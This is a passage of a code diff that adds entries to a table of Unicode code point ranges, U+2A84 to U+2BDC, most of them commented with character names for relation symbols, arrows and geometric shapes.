+ [0x2a84, 0x2a84], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE LEFT */
+ [0x2a85, 0x2a85], /* LESS-THAN OR APPROXIMATE */
+ [0x2a86, 0x2a86], /* GREATER-THAN OR APPROXIMATE */
+ [0x2a87, 0x2a87], /* LESS-THAN AND SINGLE-LINE NOT EQUAL TO */
+ [0x2a88, 0x2a88], /* GREATER-THAN AND SINGLE-LINE NOT EQUAL TO */
+ [0x2a89, 0x2a89], /* LESS-THAN AND NOT APPROXIMATE */
+ [0x2a8a, 0x2a8a], /* GREATER-THAN AND NOT APPROXIMATE */
+ [0x2a8b, 0x2a8b], /* LESS-THAN ABOVE DOUBLE-LINE EQUAL ABOVE GREATER-THAN */
+ [0x2a8c, 0x2a8c], /* GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN */
+ [0x2a8d, 0x2a8d], /* LESS-THAN ABOVE SIMILAR OR EQUAL */
+ [0x2a8e, 0x2a8e], /* GREATER-THAN ABOVE SIMILAR OR EQUAL */
+ [0x2a8f, 0x2a8f], /* LESS-THAN ABOVE SIMILAR ABOVE GREATER-THAN */
+ [0x2a90, 0x2a90], /* GREATER-THAN ABOVE SIMILAR ABOVE LESS-THAN */
+ [0x2a91, 0x2a91], /* LESS-THAN ABOVE GREATER-THAN ABOVE DOUBLE-LINE EQUAL */
+ [0x2a92, 0x2a92], /* GREATER-THAN ABOVE LESS-THAN ABOVE DOUBLE-LINE EQUAL */
+ [0x2a93, 0x2a93], /* LESS-THAN ABOVE SLANTED EQUAL ABOVE GREATER-THAN ABOVE SLANTED EQUAL */
+ [0x2a94, 0x2a94], /* GREATER-THAN ABOVE SLANTED EQUAL ABOVE LESS-THAN ABOVE SLANTED EQUAL */
+ [0x2a95, 0x2a95], /* SLANTED EQUAL TO OR LESS-THAN */
+ [0x2a96, 0x2a96], /* SLANTED EQUAL TO OR GREATER-THAN */
+ [0x2a97, 0x2a97], /* SLANTED EQUAL TO OR LESS-THAN WITH DOT INSIDE */
+ [0x2a98, 0x2a98], /* SLANTED EQUAL TO OR GREATER-THAN WITH DOT INSIDE */
+ [0x2a99, 0x2a99], /* DOUBLE-LINE EQUAL TO OR LESS-THAN */
+ [0x2a9a, 0x2a9a], /* DOUBLE-LINE EQUAL TO OR GREATER-THAN */
+ [0x2a9b, 0x2a9b], /* DOUBLE-LINE SLANTED EQUAL TO OR LESS-THAN */
+ [0x2a9c, 0x2a9c], /* DOUBLE-LINE SLANTED EQUAL TO OR GREATER-THAN */
+ [0x2a9d, 0x2a9d], /* SIMILAR OR LESS-THAN */
+ [0x2a9e, 0x2a9e], /* SIMILAR OR GREATER-THAN */
+ [0x2a9f, 0x2a9f], /* SIMILAR ABOVE LESS-THAN ABOVE EQUALS SIGN */
+ [0x2aa0, 0x2aa0], /* SIMILAR ABOVE GREATER-THAN ABOVE EQUALS SIGN */
+ [0x2aa1, 0x2aa1], /* DOUBLE NESTED LESS-THAN */
+ [0x2aa2, 0x2aa2], /* DOUBLE NESTED GREATER-THAN */
+ [0x2aa3, 0x2aa3], /* DOUBLE NESTED LESS-THAN WITH UNDERBAR */
+ [0x2aa4, 0x2aa4], /* GREATER-THAN OVERLAPPING LESS-THAN */
+ [0x2aa5, 0x2aa5], /* GREATER-THAN BESIDE LESS-THAN */
+ [0x2aa6, 0x2aa6], /* LESS-THAN CLOSED BY CURVE */
+ [0x2aa7, 0x2aa7], /* GREATER-THAN CLOSED BY CURVE */
+ [0x2aa8, 0x2aa8], /* LESS-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL */
+ [0x2aa9, 0x2aa9], /* GREATER-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL */
+ [0x2aaa, 0x2aaa], /* SMALLER THAN */
+ [0x2aab, 0x2aab], /* LARGER THAN */
+ [0x2aac, 0x2aac], /* SMALLER THAN OR EQUAL TO */
+ [0x2aad, 0x2aad], /* LARGER THAN OR EQUAL TO */
+ [0x2aae, 0x2aae], /* EQUALS SIGN WITH BUMPY ABOVE */
+ [0x2aaf, 0x2aaf], /* PRECEDES ABOVE SINGLE-LINE EQUALS SIGN */
+ [0x2ab0, 0x2ab0], /* SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN */
+ [0x2ab1, 0x2ab1], /* PRECEDES ABOVE SINGLE-LINE NOT EQUAL TO */
+ [0x2ab2, 0x2ab2], /* SUCCEEDS ABOVE SINGLE-LINE NOT EQUAL TO */
+ [0x2ab3, 0x2ab3], /* PRECEDES ABOVE EQUALS SIGN */
+ [0x2ab4, 0x2ab4], /* SUCCEEDS ABOVE EQUALS SIGN */
+ [0x2ab5, 0x2ab5], /* PRECEDES ABOVE NOT EQUAL TO */
+ [0x2ab6, 0x2ab6], /* SUCCEEDS ABOVE NOT EQUAL TO */
+ [0x2ab7, 0x2ab7], /* PRECEDES ABOVE ALMOST EQUAL TO */
+ [0x2ab8, 0x2ab8], /* SUCCEEDS ABOVE ALMOST EQUAL TO */
+ [0x2ab9, 0x2ab9], /* PRECEDES ABOVE NOT ALMOST EQUAL TO */
+ [0x2aba, 0x2aba], /* SUCCEEDS ABOVE NOT ALMOST EQUAL TO */
+ [0x2abb, 0x2abb], /* DOUBLE PRECEDES */
+ [0x2abc, 0x2abc], /* DOUBLE SUCCEEDS */
+ [0x2abd, 0x2abd], /* SUBSET WITH DOT */
+ [0x2abe, 0x2abe], /* SUPERSET WITH DOT */
+ [0x2abf, 0x2abf], /* SUBSET WITH PLUS SIGN BELOW */
+ [0x2ac0, 0x2ac0], /* SUPERSET WITH PLUS SIGN BELOW */
+ [0x2ac1, 0x2ac1], /* SUBSET WITH MULTIPLICATION SIGN BELOW */
+ [0x2ac2, 0x2ac2], /* SUPERSET WITH MULTIPLICATION SIGN BELOW */
+ [0x2ac3, 0x2ac3], /* SUBSET OF OR EQUAL TO WITH DOT ABOVE */
+ [0x2ac4, 0x2ac4], /* SUPERSET OF OR EQUAL TO WITH DOT ABOVE */
+ [0x2ac5, 0x2ac5], /* SUBSET OF ABOVE EQUALS SIGN */
+ [0x2ac6, 0x2ac6], /* SUPERSET OF ABOVE EQUALS SIGN */
+ [0x2ac7, 0x2ac7], /* SUBSET OF ABOVE TILDE OPERATOR */
+ [0x2ac8, 0x2ac8], /* SUPERSET OF ABOVE TILDE OPERATOR */
+ [0x2ac9, 0x2ac9], /* SUBSET OF ABOVE ALMOST EQUAL TO */
+ [0x2aca, 0x2aca], /* SUPERSET OF ABOVE ALMOST EQUAL TO */
+ [0x2acb, 0x2acb], /* SUBSET OF ABOVE NOT EQUAL TO */
+ [0x2acc, 0x2acc], /* SUPERSET OF ABOVE NOT EQUAL TO */
+ [0x2acd, 0x2acd], /* SQUARE LEFT OPEN BOX OPERATOR */
+ [0x2ace, 0x2ace], /* SQUARE RIGHT OPEN BOX OPERATOR */
+ [0x2acf, 0x2acf], /* CLOSED SUBSET */
+ [0x2ad0, 0x2ad0], /* CLOSED SUPERSET */
+ [0x2ad1, 0x2ad1], /* CLOSED SUBSET OR EQUAL TO */
+ [0x2ad2, 0x2ad2], /* CLOSED SUPERSET OR EQUAL TO */
+ [0x2ad3, 0x2ad3], /* SUBSET ABOVE SUPERSET */
+ [0x2ad4, 0x2ad4], /* SUPERSET ABOVE SUBSET */
+ [0x2ad5, 0x2ad5], /* SUBSET ABOVE SUBSET */
+ [0x2ad6, 0x2ad6], /* SUPERSET ABOVE SUPERSET */
+ [0x2ad7, 0x2ad7], /* SUPERSET BESIDE SUBSET */
+ [0x2ad8, 0x2ad8], /* SUPERSET BESIDE AND JOINED BY DASH WITH SUBSET */
+ [0x2ad9, 0x2ad9], /* ELEMENT OF OPENING DOWNWARDS */
+ [0x2ada, 0x2ada], /* PITCHFORK WITH TEE TOP */
+ [0x2adb, 0x2adb], /* TRANSVERSAL INTERSECTION */
+ [0x2adc, 0x2adc], /* FORKING */
+ [0x2add, 0x2add], /* NONFORKING */
+ [0x2ade, 0x2ade], /* SHORT LEFT TACK */
+ [0x2adf, 0x2adf], /* SHORT DOWN TACK */
+ [0x2ae0, 0x2ae0], /* SHORT UP TACK */
+ [0x2ae1, 0x2ae1], /* PERPENDICULAR WITH S */
+ [0x2ae2, 0x2ae2], /* VERTICAL BAR TRIPLE RIGHT TURNSTILE */
+ [0x2ae3, 0x2ae3], /* DOUBLE VERTICAL BAR LEFT TURNSTILE */
+ [0x2ae4, 0x2ae4], /* VERTICAL BAR DOUBLE LEFT TURNSTILE */
+ [0x2ae5, 0x2ae5], /* DOUBLE VERTICAL BAR DOUBLE LEFT TURNSTILE */
+ [0x2ae6, 0x2ae6], /* LONG DASH FROM LEFT MEMBER OF DOUBLE VERTICAL */
+ [0x2ae7, 0x2ae7], /* SHORT DOWN TACK WITH OVERBAR */
+ [0x2ae8, 0x2ae8], /* SHORT UP TACK WITH UNDERBAR */
+ [0x2ae9, 0x2ae9], /* SHORT UP TACK ABOVE SHORT DOWN TACK */
+ [0x2aea, 0x2aea], /* DOUBLE DOWN TACK */
+ [0x2aeb, 0x2aeb], /* DOUBLE UP TACK */
+ [0x2aec, 0x2aec], /* DOUBLE STROKE NOT SIGN */
+ [0x2aed, 0x2aed], /* REVERSED DOUBLE STROKE NOT SIGN */
+ [0x2aee, 0x2aee], /* DOES NOT DIVIDE WITH REVERSED NEGATION SLASH */
+ [0x2aef, 0x2aef], /* VERTICAL LINE WITH CIRCLE ABOVE */
+ [0x2af0, 0x2af0], /* VERTICAL LINE WITH CIRCLE BELOW */
+ [0x2af1, 0x2af1], /* DOWN TACK WITH CIRCLE BELOW */
+ [0x2af2, 0x2af2], /* PARALLEL WITH HORIZONTAL STROKE */
+ [0x2af3, 0x2af3], /* PARALLEL WITH TILDE OPERATOR */
+ [0x2af4, 0x2af4], /* TRIPLE VERTICAL BAR BINARY RELATION */
+ [0x2af5, 0x2af5], /* TRIPLE VERTICAL BAR WITH HORIZONTAL STROKE */
+ [0x2af6, 0x2af6], /* TRIPLE COLON OPERATOR */
+ [0x2af7, 0x2af7], /* TRIPLE NESTED LESS-THAN */
+ [0x2af8, 0x2af8], /* TRIPLE NESTED GREATER-THAN */
+ [0x2af9, 0x2af9], /* DOUBLE-LINE SLANTED LESS-THAN OR EQUAL TO */
+ [0x2afa, 0x2afa], /* DOUBLE-LINE SLANTED GREATER-THAN OR EQUAL TO */
+ [0x2afb, 0x2afb], /* TRIPLE SOLIDUS BINARY RELATION */
+ [0x2afc, 0x2afc], /* LARGE TRIPLE VERTICAL BAR OPERATOR */
+ [0x2afd, 0x2afd], /* DOUBLE SOLIDUS OPERATOR */
+ [0x2afe, 0x2afe], /* WHITE VERTICAL BAR */
+ [0x2aff, 0x2aff], /* N-ARY WHITE VERTICAL BAR */
+ [0x2b00, 0x2b00], /* NORTH EAST WHITE ARROW */
+ [0x2b01, 0x2b01], /* NORTH WEST WHITE ARROW */
+ [0x2b02, 0x2b02], /* SOUTH EAST WHITE ARROW */
+ [0x2b03, 0x2b03], /* SOUTH WEST WHITE ARROW */
+ [0x2b04, 0x2b04], /* LEFT RIGHT WHITE ARROW */
+ [0x2b05, 0x2b05], /* LEFTWARDS BLACK ARROW */
+ [0x2b06, 0x2b06], /* UPWARDS BLACK ARROW */
+ [0x2b07, 0x2b07], /* DOWNWARDS BLACK ARROW */
+ [0x2b08, 0x2b08], /* NORTH EAST BLACK ARROW */
+ [0x2b09, 0x2b09], /* NORTH WEST BLACK ARROW */
+ [0x2b0a, 0x2b0a], /* SOUTH EAST BLACK ARROW */
+ [0x2b0b, 0x2b0b], /* SOUTH WEST BLACK ARROW */
+ [0x2b0c, 0x2b0c], /* LEFT RIGHT BLACK ARROW */
+ [0x2b0d, 0x2b0d], /* UP DOWN BLACK ARROW */
+ [0x2b0e, 0x2b0e], /* RIGHTWARDS ARROW WITH TIP DOWNWARDS */
+ [0x2b0f, 0x2b0f], /* RIGHTWARDS ARROW WITH TIP UPWARDS */
+ [0x2b10, 0x2b10], /* LEFTWARDS ARROW WITH TIP DOWNWARDS */
+ [0x2b11, 0x2b11], /* LEFTWARDS ARROW WITH TIP UPWARDS */
+ [0x2b12, 0x2b12], /* SQUARE WITH TOP HALF BLACK */
+ [0x2b13, 0x2b13], /* SQUARE WITH BOTTOM HALF BLACK */
+ [0x2b14, 0x2b14], /* SQUARE WITH UPPER RIGHT DIAGONAL HALF BLACK */
+ [0x2b15, 0x2b15], /* SQUARE WITH LOWER LEFT DIAGONAL HALF BLACK */
+ [0x2b16, 0x2b16], /* DIAMOND WITH LEFT HALF BLACK */
+ [0x2b17, 0x2b17], /* DIAMOND WITH RIGHT HALF BLACK */
+ [0x2b18, 0x2b18], /* DIAMOND WITH TOP HALF BLACK */
+ [0x2b19, 0x2b19], /* DIAMOND WITH BOTTOM HALF BLACK */
+ [0x2b1a, 0x2b1a], /* DOTTED SQUARE */
+ [0x2b1b, 0x2b1b], /* BLACK LARGE SQUARE */
+ [0x2b1c, 0x2b1c], /* WHITE LARGE SQUARE */
+ [0x2b1d, 0x2b1d], /* BLACK VERY SMALL SQUARE */
+ [0x2b1e, 0x2b1e], /* WHITE VERY SMALL SQUARE */
+ [0x2b1f, 0x2b1f], /* BLACK PENTAGON */
+ [0x2b20, 0x2b20], /* WHITE PENTAGON */
+ [0x2b21, 0x2b21], /* WHITE HEXAGON */
+ [0x2b22, 0x2b22], /* BLACK HEXAGON */
+ [0x2b23, 0x2b23], /* HORIZONTAL BLACK HEXAGON */
+ [0x2b24, 0x2b24], /* BLACK LARGE CIRCLE */
+ [0x2b25, 0x2b25], /* BLACK MEDIUM DIAMOND */
+ [0x2b26, 0x2b26], /* WHITE MEDIUM DIAMOND */
+ [0x2b27, 0x2b27], /* BLACK MEDIUM LOZENGE */
+ [0x2b28, 0x2b28], /* WHITE MEDIUM LOZENGE */
+ [0x2b29, 0x2b29], /* BLACK SMALL DIAMOND */
+ [0x2b2a, 0x2b2a], /* BLACK SMALL LOZENGE */
+ [0x2b2b, 0x2b2b], /* WHITE SMALL LOZENGE */
+ [0x2b2c, 0x2b2c], /* BLACK HORIZONTAL ELLIPSE */
+ [0x2b2d, 0x2b2d], /* WHITE HORIZONTAL ELLIPSE */
+ [0x2b2e, 0x2b2e], /* BLACK VERTICAL ELLIPSE */
+ [0x2b2f, 0x2b2f], /* WHITE VERTICAL ELLIPSE */
+ [0x2b30, 0x2b30], /* LEFT ARROW WITH SMALL CIRCLE */
+ [0x2b31, 0x2b31], /* THREE LEFTWARDS ARROWS */
+ [0x2b32, 0x2b32], /* LEFT ARROW WITH CIRCLED PLUS */
+ [0x2b33, 0x2b33], /* LONG LEFTWARDS SQUIGGLE ARROW */
+ [0x2b34, 0x2b34], /* LEFTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE */
+ [0x2b35, 0x2b35], /* LEFTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE */
+ [0x2b36, 0x2b36], /* LEFTWARDS TWO-HEADED ARROW FROM BAR */
+ [0x2b37, 0x2b37], /* LEFTWARDS TWO-HEADED TRIPLE DASH ARROW */
+ [0x2b38, 0x2b38], /* LEFTWARDS ARROW WITH DOTTED STEM */
+ [0x2b39, 0x2b39], /* LEFTWARDS ARROW WITH TAIL WITH VERTICAL STROKE */
+ [0x2b3a, 0x2b3a], /* LEFTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ [0x2b3b, 0x2b3b], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL */
+ [0x2b3c, 0x2b3c], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE */
+ [0x2b3d, 0x2b3d], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ [0x2b3e, 0x2b3e], /* LEFTWARDS ARROW THROUGH X */
+ [0x2b3f, 0x2b3f], /* WAVE ARROW POINTING DIRECTLY LEFT */
+ [0x2b40, 0x2b40], /* EQUALS SIGN ABOVE LEFTWARDS ARROW */
+ [0x2b41, 0x2b41], /* REVERSE TILDE OPERATOR ABOVE LEFTWARDS ARROW */
+ [0x2b42, 0x2b42], /* LEFTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO */
+ [0x2b43, 0x2b43], /* RIGHTWARDS ARROW THROUGH GREATER-THAN */
+ [0x2b44, 0x2b44], /* RIGHTWARDS ARROW THROUGH SUPERSET */
+ [0x2b45, 0x2b45], /* LEFTWARDS QUADRUPLE ARROW */
+ [0x2b46, 0x2b46], /* RIGHTWARDS QUADRUPLE ARROW */
+ [0x2b47, 0x2b47], /* REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW */
+ [0x2b48, 0x2b48], /* RIGHTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO */
+ [0x2b49, 0x2b49], /* TILDE OPERATOR ABOVE LEFTWARDS ARROW */
+ [0x2b4a, 0x2b4a], /* LEFTWARDS ARROW ABOVE ALMOST EQUAL TO */
+ [0x2b4b, 0x2b4b], /* LEFTWARDS ARROW ABOVE REVERSE TILDE OPERATOR */
+ [0x2b4c, 0x2b4c], /* RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR */
+ [0x2b4d, 0x2b4d], /* DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW */
+ [0x2b4e, 0x2b4e], /* SHORT SLANTED NORTH ARROW */
+ [0x2b4f, 0x2b4f], /* SHORT BACKSLANTED SOUTH ARROW */
+ [0x2b50, 0x2b50], /* WHITE MEDIUM STAR */
+ [0x2b51, 0x2b51], /* BLACK SMALL STAR */
+ [0x2b52, 0x2b52], /* WHITE SMALL STAR */
+ [0x2b53, 0x2b53], /* BLACK RIGHT-POINTING PENTAGON */
+ [0x2b54, 0x2b54], /* WHITE RIGHT-POINTING PENTAGON */
+ [0x2b55, 0x2b55], /* HEAVY LARGE CIRCLE */
+ [0x2b56, 0x2b56], /* HEAVY OVAL WITH OVAL INSIDE */
+ [0x2b57, 0x2b57], /* HEAVY CIRCLE WITH CIRCLE INSIDE */
+ [0x2b58, 0x2b58], /* HEAVY CIRCLE */
+ [0x2b59, 0x2b59], /* HEAVY CIRCLED SALTIRE */
+ [0x2b5a, 0x2b5a], /* SLANTED NORTH ARROW WITH HOOKED HEAD */
+ [0x2b5b, 0x2b5b], /* BACKSLANTED SOUTH ARROW WITH HOOKED TAIL */
+ [0x2b5c, 0x2b5c], /* SLANTED NORTH ARROW WITH HORIZONTAL TAIL */
+ [0x2b5d, 0x2b5d], /* BACKSLANTED SOUTH ARROW WITH HORIZONTAL TAIL */
+ [0x2b5e, 0x2b5e], /* BENT ARROW POINTING DOWNWARDS THEN NORTH EAST */
+ [0x2b5f, 0x2b5f], /* SHORT BENT ARROW POINTING DOWNWARDS THEN NORTH EAST */
+ [0x2b60, 0x2b60], /* LEFTWARDS TRIANGLE-HEADED ARROW */
+ [0x2b61, 0x2b61], /* UPWARDS TRIANGLE-HEADED ARROW */
+ [0x2b62, 0x2b62], /* RIGHTWARDS TRIANGLE-HEADED ARROW */
+ [0x2b63, 0x2b63], /* DOWNWARDS TRIANGLE-HEADED ARROW */
+ [0x2b64, 0x2b64], /* LEFT RIGHT TRIANGLE-HEADED ARROW */
+ [0x2b65, 0x2b65], /* UP DOWN TRIANGLE-HEADED ARROW */
+ [0x2b66, 0x2b66], /* NORTH WEST TRIANGLE-HEADED ARROW */
+ [0x2b67, 0x2b67], /* NORTH EAST TRIANGLE-HEADED ARROW */
+ [0x2b68, 0x2b68], /* SOUTH EAST TRIANGLE-HEADED ARROW */
+ [0x2b69, 0x2b69], /* SOUTH WEST TRIANGLE-HEADED ARROW */
+ [0x2b6a, 0x2b6a], /* LEFTWARDS TRIANGLE-HEADED DASHED ARROW */
+ [0x2b6b, 0x2b6b], /* UPWARDS TRIANGLE-HEADED DASHED ARROW */
+ [0x2b6c, 0x2b6c], /* RIGHTWARDS TRIANGLE-HEADED DASHED ARROW */
+ [0x2b6d, 0x2b6d], /* DOWNWARDS TRIANGLE-HEADED DASHED ARROW */
+ [0x2b6e, 0x2b6e], /* CLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW */
+ [0x2b6f, 0x2b6f], /* ANTICLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW */
+ [0x2b70, 0x2b70], /* LEFTWARDS TRIANGLE-HEADED ARROW TO BAR */
+ [0x2b71, 0x2b71], /* UPWARDS TRIANGLE-HEADED ARROW TO BAR */
+ [0x2b72, 0x2b72], /* RIGHTWARDS TRIANGLE-HEADED ARROW TO BAR */
+ [0x2b73, 0x2b73], /* DOWNWARDS TRIANGLE-HEADED ARROW TO BAR */
+ [0x2b74, 0x2b74],
+ [0x2b75, 0x2b75],
+ [0x2b76, 0x2b76], /* NORTH WEST TRIANGLE-HEADED ARROW TO BAR */
+ [0x2b77, 0x2b77], /* NORTH EAST TRIANGLE-HEADED ARROW TO BAR */
+ [0x2b78, 0x2b78], /* SOUTH EAST TRIANGLE-HEADED ARROW TO BAR */
+ [0x2b79, 0x2b79], /* SOUTH WEST TRIANGLE-HEADED ARROW TO BAR */
+ [0x2b7a, 0x2b7a], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ [0x2b7b, 0x2b7b], /* UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ [0x2b7c, 0x2b7c], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ [0x2b7d, 0x2b7d], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ [0x2b7e, 0x2b7e], /* HORIZONTAL TAB KEY */
+ [0x2b7f, 0x2b7f], /* VERTICAL TAB KEY */
+ [0x2b80, 0x2b80], /* LEFTWARDS TRIANGLE-HEADED ARROW OVER RIGHTWARDS TRIANGLE-HEADED ARROW */
+ [0x2b81, 0x2b81], /* UPWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF DOWNWARDS TRIANGLE-HEADED ARROW */
+ [0x2b82, 0x2b82], /* RIGHTWARDS TRIANGLE-HEADED ARROW OVER LEFTWARDS TRIANGLE-HEADED ARROW */
+ [0x2b83, 0x2b83], /* DOWNWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF UPWARDS TRIANGLE-HEADED ARROW */
+ [0x2b84, 0x2b84], /* LEFTWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ [0x2b85, 0x2b85], /* UPWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ [0x2b86, 0x2b86], /* RIGHTWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ [0x2b87, 0x2b87], /* DOWNWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ [0x2b88, 0x2b88], /* LEFTWARDS BLACK CIRCLED WHITE ARROW */
+ [0x2b89, 0x2b89], /* UPWARDS BLACK CIRCLED WHITE ARROW */
+ [0x2b8a, 0x2b8a], /* RIGHTWARDS BLACK CIRCLED WHITE ARROW */
+ [0x2b8b, 0x2b8b], /* DOWNWARDS BLACK CIRCLED WHITE ARROW */
+ [0x2b8c, 0x2b8c], /* ANTICLOCKWISE TRIANGLE-HEADED RIGHT U-SHAPED ARROW */
+ [0x2b8d, 0x2b8d], /* ANTICLOCKWISE TRIANGLE-HEADED BOTTOM U-SHAPED ARROW */
+ [0x2b8e, 0x2b8e], /* ANTICLOCKWISE TRIANGLE-HEADED LEFT U-SHAPED ARROW */
+ [0x2b8f, 0x2b8f], /* ANTICLOCKWISE TRIANGLE-HEADED TOP U-SHAPED ARROW */
+ [0x2b90, 0x2b90], /* RETURN LEFT */
+ [0x2b91, 0x2b91], /* RETURN RIGHT */
+ [0x2b92, 0x2b92], /* NEWLINE LEFT */
+ [0x2b93, 0x2b93], /* NEWLINE RIGHT */
+ [0x2b94, 0x2b94], /* FOUR CORNER ARROWS CIRCLING ANTICLOCKWISE */
+ [0x2b95, 0x2b95], /* RIGHTWARDS BLACK ARROW */
+ [0x2b96, 0x2b96],
+ [0x2b97, 0x2b97],
+ [0x2b98, 0x2b98], /* THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD */
+ [0x2b99, 0x2b99], /* THREE-D RIGHT-LIGHTED UPWARDS EQUILATERAL ARROWHEAD */
+ [0x2b9a, 0x2b9a], /* THREE-D TOP-LIGHTED RIGHTWARDS EQUILATERAL ARROWHEAD */
+ [0x2b9b, 0x2b9b], /* THREE-D LEFT-LIGHTED DOWNWARDS EQUILATERAL ARROWHEAD */
+ [0x2b9c, 0x2b9c], /* BLACK LEFTWARDS EQUILATERAL ARROWHEAD */
+ [0x2b9d, 0x2b9d], /* BLACK UPWARDS EQUILATERAL ARROWHEAD */
+ [0x2b9e, 0x2b9e], /* BLACK RIGHTWARDS EQUILATERAL ARROWHEAD */
+ [0x2b9f, 0x2b9f], /* BLACK DOWNWARDS EQUILATERAL ARROWHEAD */
+ [0x2ba0, 0x2ba0], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS */
+ [0x2ba1, 0x2ba1], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS */
+ [0x2ba2, 0x2ba2], /* UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS */
+ [0x2ba3, 0x2ba3], /* UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS */
+ [0x2ba4, 0x2ba4], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS */
+ [0x2ba5, 0x2ba5], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS */
+ [0x2ba6, 0x2ba6], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS */
+ [0x2ba7, 0x2ba7], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS */
+ [0x2ba8, 0x2ba8], /* BLACK CURVED DOWNWARDS AND LEFTWARDS ARROW */
+ [0x2ba9, 0x2ba9], /* BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW */
+ [0x2baa, 0x2baa], /* BLACK CURVED UPWARDS AND LEFTWARDS ARROW */
+ [0x2bab, 0x2bab], /* BLACK CURVED UPWARDS AND RIGHTWARDS ARROW */
+ [0x2bac, 0x2bac], /* BLACK CURVED LEFTWARDS AND UPWARDS ARROW */
+ [0x2bad, 0x2bad], /* BLACK CURVED RIGHTWARDS AND UPWARDS ARROW */
+ [0x2bae, 0x2bae], /* BLACK CURVED LEFTWARDS AND DOWNWARDS ARROW */
+ [0x2baf, 0x2baf], /* BLACK CURVED RIGHTWARDS AND DOWNWARDS ARROW */
+ [0x2bb0, 0x2bb0], /* RIBBON ARROW DOWN LEFT */
+ [0x2bb1, 0x2bb1], /* RIBBON ARROW DOWN RIGHT */
+ [0x2bb2, 0x2bb2], /* RIBBON ARROW UP LEFT */
+ [0x2bb3, 0x2bb3], /* RIBBON ARROW UP RIGHT */
+ [0x2bb4, 0x2bb4], /* RIBBON ARROW LEFT UP */
+ [0x2bb5, 0x2bb5], /* RIBBON ARROW RIGHT UP */
+ [0x2bb6, 0x2bb6], /* RIBBON ARROW LEFT DOWN */
+ [0x2bb7, 0x2bb7], /* RIBBON ARROW RIGHT DOWN */
+ [0x2bb8, 0x2bb8], /* UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR */
+ [0x2bb9, 0x2bb9], /* UP ARROWHEAD IN A RECTANGLE BOX */
+ [0x2bba, 0x2bba],
+ [0x2bbb, 0x2bbb],
+ [0x2bbc, 0x2bbc],
+ [0x2bbd, 0x2bbd], /* BALLOT BOX WITH LIGHT X */
+ [0x2bbe, 0x2bbe], /* CIRCLED X */
+ [0x2bbf, 0x2bbf], /* CIRCLED BOLD X */
+ [0x2bc0, 0x2bc0], /* BLACK SQUARE CENTRED */
+ [0x2bc1, 0x2bc1], /* BLACK DIAMOND CENTRED */
+ [0x2bc2, 0x2bc2], /* TURNED BLACK PENTAGON */
+ [0x2bc3, 0x2bc3], /* HORIZONTAL BLACK OCTAGON */
+ [0x2bc4, 0x2bc4], /* BLACK OCTAGON */
+ [0x2bc5, 0x2bc5], /* BLACK MEDIUM UP-POINTING TRIANGLE CENTRED */
+ [0x2bc6, 0x2bc6], /* BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED */
+ [0x2bc7, 0x2bc7], /* BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED */
+ [0x2bc8, 0x2bc8], /* BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED */
+ [0x2bc9, 0x2bc9],
+ [0x2bca, 0x2bca], /* TOP HALF BLACK CIRCLE */
+ [0x2bcb, 0x2bcb], /* BOTTOM HALF BLACK CIRCLE */
+ [0x2bcc, 0x2bcc], /* LIGHT FOUR POINTED BLACK CUSP */
+ [0x2bcd, 0x2bcd], /* ROTATED LIGHT FOUR POINTED BLACK CUSP */
+ [0x2bce, 0x2bce], /* WHITE FOUR POINTED CUSP */
+ [0x2bcf, 0x2bcf], /* ROTATED WHITE FOUR POINTED CUSP */
+ [0x2bd0, 0x2bd0], /* SQUARE POSITION INDICATOR */
+ [0x2bd1, 0x2bd1], /* UNCERTAINTY SIGN */
+ [0x2bd2, 0x2bd2],
+ [0x2bd3, 0x2bd3],
+ [0x2bd4, 0x2bd4],
+ [0x2bd5, 0x2bd5],
+ [0x2bd6, 0x2bd6],
+ [0x2bd7, 0x2bd7],
+ [0x2bd8, 0x2bd8],
+ [0x2bd9, 0x2bd9],
+ [0x2bda, 0x2bda],
+ [0x2bdb, 0x2bdb],
+ [0x2bdc, 0x2bdc],
